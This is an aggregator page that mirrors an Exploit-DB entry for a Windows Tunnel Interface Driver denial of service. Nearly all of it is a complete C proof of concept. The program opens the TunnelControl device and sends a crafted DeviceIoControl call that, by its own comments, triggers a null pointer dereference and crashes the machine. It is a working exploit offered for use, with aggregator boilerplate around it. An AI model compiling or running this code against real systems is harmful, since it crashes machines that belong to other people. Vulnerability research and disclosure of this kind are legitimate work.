6
[dos] Tunnel Interface Driver - Denial of Service
source link: https://www.exploit-db.com/exploits/51114
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Tunnel Interface Driver - Denial of Service
// Exploit Title: Tunnel Interface Driver - Denial of Service
// Date: 07/15/2022
// Exploit Author: ExAllocatePool2
// Vendor Homepage: https://www.microsoft.com/
// Software Link: https://www.microsoft.com/en-us/software-download/windows10
// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)
// Tested on: Microsoft Windows
// GitHub Repository: https://github.com/Exploitables/MSRC-1
#include <Windows.h>
#include <stdio.h>
#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"
int main(int argc, char** argv);
int main(int argc, char** argv)
{
HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);
unsigned long long input_output = 0x4242424242424242;
unsigned long bytes_returned = 0x43434343;
unsigned char unused = 0;
SetConsoleTitleA("https://msrc.microsoft.com/");
printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");
if (h_driver == (HANDLE)-1)
{
printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);
printf("\n[!] Triggering a denial of service via arbitrary read in 3...");
for (int i = 2; i > 0; i--)
{
Sleep(1000);
printf("\n[!] %d...", i);
}
DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);
unused = getchar();
printf("\n[-] Exploit failed. The machine should have crashed.");
return 0;
}
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK